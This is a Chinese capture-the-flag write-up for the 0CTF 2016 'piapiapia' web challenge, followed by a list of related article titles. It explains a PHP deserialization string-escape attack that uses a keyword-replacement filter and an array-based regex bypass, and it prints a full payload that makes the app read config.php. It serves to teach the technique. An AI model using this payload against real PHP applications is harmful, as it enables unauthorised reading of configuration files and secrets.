通过扫描后台目录获得了源码(www.zip)。解压出来发现出了登录之外还有注册和其他的目录。在config.php中发现了flag变量,看来题目目的是让我们读取config.php了。
我们来看下每个页面:
1 index.php,register.php:
这两个个是登录页面和注册页面,要求我们输入的用户名和密码的长度都在3-16内。
2 class.php:
在class.php中我们发现了过滤的函数,一些特殊的符号会用下划线代替,一些特殊的关键字用hacker进行代替。

public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}

除此之外还有增删改查等等。
3 update.php
在这个页面我们要输入phone,要求是11为的数字。email格式要求类似于1@qq.com。nickname要求为数字字母下划线并且长度要小于等于10。但这里应该是出题人故意留的,前两个都是不满足正则则退出,但是nickname是满足才退出,我们可以用数组绕过正则,比如 nickname=a! 会die出去但是nickname[]=a!则会成功执行下面的语句。

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');

再往下便到了本题最关键的代码了,序列化再反序列化,序列化是在上传完电话邮箱等信息后,将数组进行序列化。
4 profile.php
在这个里面是将反序列化刚才生成的字符串。然后再将上传的photo中的内容用base64表示。对于我们来说,如果能讲photo中的文件名换成config.php则达成了我们的目的。
在反序列化中有个有趣的现象,我这里举个例子来看一下。对于这段代码,正常的输入如下。但是如果我们修改一下,变成这样,反序列化出来就会把后面的忽略掉。

<?php
$p='abc';
$f = serialize(array($p));
var_dump($f);?>

$s = 'a:1:{i:0;s:3:"axx";}bc";}';
var_dump(unserialize($s));

对于我们这个题,在我们输入正常的电话邮箱绰号照片后,正常的序列化字符串如下:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}

我们目的字符串是:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:10:"config.php";}

但是我们之前传的nickname是个数组,所以最终的目的字符串其实是:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";a:1:{i:0;s:3:"abc";s:5:"photo";s:10:"config.php";}

我们唯一能利用的地方就是 nickname我们可以输入 xxx"}s:5:“photo”;s:10:“config.php”;}
这样就可以把后面的忽略掉但是这个xxx的长度我们要保证符合真实的长度。这里正好可以利用过滤里的方法,因为nickname是先序列化然后再过滤的,但是生成的序列化字符串的长度还是原来的。比如我们nickname输入的是where长度是5 经过过滤后变成hacker长度变成了6.这时我们就可以有一个长度的字符可以利用,每输入一个where就有一个
我们根据我们的目的字符串内容,需要填充的是";}s:5:"photo";s:10:"config.php";}长度为34,如果我们输入34个where则足够填充这些字符达到逃逸的目的
所以最终的payload为

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

`我们解码base64即可获得flag。

[0CTF 2016]piapiapia(反序列化逃逸)相关推荐

  1. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  2. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  3. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  4. [0CTF 2016]piapiapia php反序列化字符串逃逸

    一.php反序列化字符串逃逸 <?phpclass user{public $user = 'admin';public $pass = 'passwd'; }$a = new user(); ...

  5. [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

    这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...

  6. [0CTF 2016]piapiapia(字符逃逸详解)

    目录 知识点 信息收集 尝试SQL注入 源码目录扫描 代码审计 payload生成 知识点 信息泄露 参数传递数组绕过字符串检测 反序列化字符逃逸 信息收集 收集到了一只超可爱的小喵 尝试SQL注入 ...

  7. ---已搬运--:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点 preg_match()用数组,而且注意if是正确判断,还是错误判断

    目录: 00000.知识点: 1.url传入数组绕过长度限制?? 2.数组的遍历 3.数组绕过正则 一.自己做: 二.学到的&&不足: 四.学习WP 1.学习一个大佬的思路: 2.学习 ...

  8. [0CTF 2016] piapiapia

    piapiapia 猜测:SQL注入.弱口令,顺便扫一下目录 SQL注入失败,弱口令和目录扫描没有测试(过快扫描网站,返回429),服务器还是挺好的,从网上得知/www.zip 测试过后,发现 ind ...

  9. 审计练习5——[0CTF 2016]piapiapia

    平台:buuoj.cn 打开靶机如下: 弱密码,sql乱试一波没反应,注册个账号进去之后让我们更新信息 提交跳转到profile.php 扫一下网站目录.(我们在做题扫目录的时候经常会遇见429的情况 ...

  10. [0CTF 2016]piapiapia -php序列化溢出

    题目分析 上来是一个登录页面:尝试注入无效: 然后扫后台:扫到源码www.zip 发现有注册页,注册登陆后可以填写自己的信息以及上传头像,走过一遍流程之后发现无法SSI也无法上传图片马: 源码分析 u ...

最新文章

  1. ImageView 控制图片大小
  2. libSVM笔记之(一)在matlab环境下安装配置libSVM
  3. @EnableAspectAutoJAutoProxy_exposeProxy属性
  4. SpringBoot微服务项目构建war包 部署排除指定jar
  5. (转载)7个去伪存真的JavaScript面试题
  6. AC自动机——多个kmp匹配
  7. opencv之waitKey()与waitKeyEx()的区别
  8. OpenType的Adobe字体开发工具包(AFDKO)
  9. MATLAB实现滚动密钥密码
  10. cad尺寸标注快捷键_CAD中还能这样快速标注尺寸?怪不得同事天天准时下班
  11. opencv+python图像匹配——模版匹配、特征点匹配
  12. VXlan 技术实现原理
  13. Python统计字符串中的中英文字符、数字空格,特殊字符 , 空格的个数
  14. 如何用python画太阳花
  15. 网络安全等级保护工作流程
  16. Kubernetes(k8s) YAML文件详解
  17. mysql auto_increment 原理_mysql原理之Auto_increment
  18. Markdown入门指南
  19. Uni-app开发微信小程序使用本地图片做背景图
  20. 应付帐款—制单处理,出现“供应商被锁定”的解决方法

热门文章

  1. 爬虫-3-requests和代理
  2. 保研经历总结--天津大学
  3. 酷奇单车退押金需拨打专线;央行银监会召开网贷整顿会议;Uber隐瞒数据泄露事件丨价值早报
  4. 兴业研发晨会纪要2008年 10月 30日
  5. 小刘同学的第一百五十八篇日记
  6. 2020大创笔记(二)
  7. 安规的XY电容器件作用
  8. netty做一个posp的网络_Java网络通信基础系列-Netty实现HTTP服务
  9. 欧美大脑计划存在的问题和忽视的一个重要元素,互联网大脑计划系列三
  10. 大型服装集团BI决策系统的分析主题模块